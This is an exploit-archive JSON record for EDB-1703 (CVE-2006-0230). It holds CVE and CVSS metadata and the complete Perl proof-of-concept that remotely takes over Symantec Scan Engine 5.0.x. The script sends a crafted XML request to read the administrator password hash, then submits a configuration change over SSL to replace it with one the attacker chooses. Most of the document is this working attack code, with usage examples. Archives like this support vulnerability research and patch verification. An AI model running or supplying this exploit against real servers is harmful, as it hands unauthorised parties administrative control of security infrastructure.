{"exploit":{"id":"EDB-1703","name":"Symantec Scan Engine 5.0.x - Change Admin Password","description":"Symantec Scan Engine 5.0.x - Change Admin Password","cves":["CVE-2006-0230"],"author":"Marc Bevand","published":"2006-04-21","platform":"windows","type":"remote","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/1703","path":"exploits/windows/remote/1703.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-1703.pl","vulnerabilities":[{"id":"CVE-2006-0230","state":"PUBLISHED","title":null,"titleSource":null,"description":"Symantec Scan Engine 5.0.0.24, and possibly other versions before 5.1.0.7, uses a client-side check to verify a password, which allows remote attackers to gain administrator privileges via a modified client that sends certain XML requests.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-0230","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-0230"},"updatedAt":"2024-08-07T16:25:33.986Z","retrievedAt":"2026-11-27T13:11:48.353Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-1703.png?v=2","url":"https://exploitbin.com/exploits/EDB-1703","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-1703/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-1703/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl -w\n#\n# Remotely change the administrator password (or password hash) of\n# Symantec Scan Engine.\n#\n# Author: Marc Bevand of Rapid7 <marc_bevand(at)rapid7.com>\n# Copyright 2006 Rapid7, LLC. All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n#\n#   1. Redistributions of source code must retain the above copyright\n#   notice, this list of conditions and the following disclaimer.\n#\n#   2. Redistributions in binary form must reproduce the above\n#   copyright notice, this list of conditions and the following\n#   disclaimer in the documentation and/or other materials provided\n#   with the distribution.\n#\n#   THIS SOFTWARE IS PROVIDED BY RAPID7, LLC ``AS IS'' AND ANY EXPRESS\n#   OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n#   WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n#   ARE DISCLAIMED. IN NO EVENT SHALL RAPID7, LLC BE LIABLE FOR ANY\n#   DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n#   DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE\n#   GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n#   INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n#   WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n#   NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n#   SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n\nuse strict;\nuse Getopt::Long;\nuse LWP::UserAgent;\nuse Digest::MD5 qw/md5_hex/;\nuse Net::SSLeay::Handle qw/shutdown/;\n\n#\n# Init LWP::UserAgent (the user agent string is the one currently used\n# by the Scan Engine java applet).\n#\nsub init {\n  my $ua;\n  $ua = LWP::UserAgent->new(keep_alive => 0);\n  $ua->agent(\"Mozilla/4.0 (Windows 2000 5.0) Java/1.4.2_08\");\n  return $ua;\n}\n\n#\n# Example of service string to be parsed:\n# 10.68.4.4\n# 10.68.4.4/8004/8005\n# hostname\n# hostname/9004/9005\n#\nsub parse_service {\n  my ($service) = @_;\n\n  if ($service =~ m{^([^/]*)/(\\d+)/(\\d+)$}) {\n     return $1, $2, $3;\n  } elsif ($service =~ m{^([^/]*)$}) {\n     return $1, 8004, 8005;\n  } else {\n     die \"cannot parse service: $service\";\n  }\n}\n\n#\n# Sends a request to obtain the password hash. Note: the RSA key\n# (modulus and public exponent) has been randomly chosen.\n#\nsub data_to_send {\n  my $r1 =\n  '<request><key mod=\"784607708866372110095636553206565253692059085'.\n  '0882661452379500719255245078226751123858547991180612629396444366'.\n  '109364669329014831409765373165312900564995261\" pub=\"754297542068'.\n  '3822223796790522532950961415568940207500046396606172395479254814'.\n  '3383744922039888710333203519260280729415961892539564611703079983'.\n  '74406014351745\">I need the key</key></request>'\n  ;\n\n  return $r1;\n}\n\n#\n# Example of response to be parsed:\n# <request>\n#   <message xmlns:xs=\"http://www.w3.org/2001/XMLSchema\"\n#     xmlns:java=\"class:com.symantec.common.SimpleRSA\"\n#     value=\"01234567890123456789012345678901234567890123456789012345\\\n# 6789\"/>\n#   <password xmlns:xs=\"http://www.w3.org/2001/XMLSchema\"\n#     xmlns:java=\"class:com.symantec.common.SimpleRSA\"\n#     pass=\"86B7A1FE120C0279971559B6BAC8C5713EF580BAFD20168D622B7E170\\\n# D248642\"/>\n# </request>\n#\nsub parse_resp {\n  my ($res) = @_;\n\n  if ($res =~ /pass=\"([[:xdigit:]]{64})\"/) {\n     return $1;\n  } else {\n     die \"cannot parse response: $res\";\n  }\n}\n\n#\n# Return a password hash.\n#\nsub hash_passwd {\n  my ($pwd) = @_;\n  my $salt = sprintf \"%08X%08X%08X%08X\", rand(0xffffffff),\n  rand(0xffffffff), rand(0xffffffff), rand(0xffffffff);\n\n  return uc(md5_hex(\"$pwd$salt\")) . $salt;\n}\n\nsub send_request {\n  my ($socket, $req) = @_;\n\n  $req = pack(\"n\", length($req)).$req;\n  print $socket $req;\n}\n\n#\n# Set the administrator password hash.\n#\nsub set_hash {\n  my ($hostname, $port_ssl, $hash) = @_;\n  my $socket;\n  my $reply;\n\n  tie(*SSL, \"Net::SSLeay::Handle\", $hostname, $port_ssl)\n     or die \"ssl tie: $!\";\n  $socket = \\*SSL;\n  send_request($socket,\n     '<request command=\"submit\" parms=\"apply\" type=\"saveapply\">'.\n     '<![CDATA[<?xml version=\"1.0\" encoding=\"UTF-8\"?>'.\n     '<guichanges><configuration>'.\n     '<changes xpath=\"//admin/password/@value\" value=\"'.$hash.'\"/>'.\n     '</configuration></guichanges>'.\n     ']]></request>');\n  send_request($socket,\n     'UTFWritesDone');\n  shutdown($socket, 1) or die \"ssl shutdown: $!\";\n  $reply = substr(<$socket>, 2);\n  $reply = substr($reply, 0, index($reply, 'UTFWritesDone') - 2);\n  if ($reply !~ m{<message status='apply_success'>Apply!</message>})\n  {\n     die \"command failed: $reply\";\n  }\n  close($socket) or die \"ssl close: $!\";\n}\n\nsub doit {\n  my ($service, $pwd, $hash) = @_;\n  my $hostname;\n  my $port_http;\n  my $port_ssl;\n  my $ua;\n  my $url;\n  my $req;\n  my $res;\n  my $old_hash;\n\n  ($hostname, $port_http, $port_ssl) = parse_service($service);\n  $ua = init();\n  $url = \"http://$hostname:$port_http/xml.xml\";\n  $req = HTTP::Request->new(POST => $url);\n  $req->content_type('application/x-www-form-urlencoded');\n  $req->content(data_to_send());\n  $res = $ua->request($req);\n  $res->is_success or die \"got \".$res->status_line.\" for $url\\n\";\n  ($old_hash) = parse_resp($res->content);\n  print \"Old hash: $old_hash\\n\";\n  if ($hash) {\n     set_hash($hostname, $port_ssl, $hash);\n     print \"New hash: $hash\\n\";\n  } else {\n     $hash = hash_passwd($pwd);\n     set_hash($hostname, $port_ssl, $hash);\n     print \"New hash: $hash\\n\";\n     print \"Password successfully set to: '$pwd'\\n\";\n  }\n}\n\nsub error {\n  print STDERR \"Try `$0 --help' for more information.\\n\";\n}\n\nsub usage {\n  print \"Usage:\\n\".\n  \"  $0 [OPTIONS] <hostname>\\n\".\n  \"  $0 [OPTIONS] <hostname>/<http_port>/<ssl_port>\\n\".\n  \"Options:\\n\".\n  \"  --help                Display this help\\n\".\n  \"  --pwd <passwd>        Set the password (default: test)\\n\".\n  \"  --hash <passwd_hash>  Set the password hash instead of a parti\".\n  \"cular password\\n\".\n  \"Examples:\\n\".\n  \"  $0 10.68.4.4\\n\".\n  \"  $0 --pwd foobar 10.68.4.4/8004/8005\\n\".\n  \"\";\n}\n\nsub main {\n  my $help;\n  my $pwd = \"test\";\n  my $hash;\n  my $service;\n\n  if (!GetOptions(\n        \"help\" => \\$help,\n        \"pwd=s\" => \\$pwd,\n        \"hash=s\" => \\$hash,\n     )) {\n     error(); exit(1);\n  }\n  if ($help) {\n     usage(); exit(0);\n  }\n  if (!scalar(@ARGV)) {\n     print STDERR \"No service specified.\\n\";\n     error(); exit(1);\n  } elsif (1 == scalar(@ARGV)) {\n     $service = $ARGV[0];\n  } else {\n     print STDERR \"Extra argument: $ARGV[1]\\n\";\n     error(); exit(1);\n  }\n  doit($service, $pwd, $hash);\n}\n\nmain();\n\n#\n# END proof of concept\n#\n\n# milw0rm.com [2006-04-21]","sha256":"8b8827894200e3e8c21780efc4012e0aefa73877dd2f9610dc20d3164a73dedb","bytes":6593,"fetchedAt":"2026-11-27T13:11:45.950Z","encoding":"utf-8 (display only; download retains original bytes)"}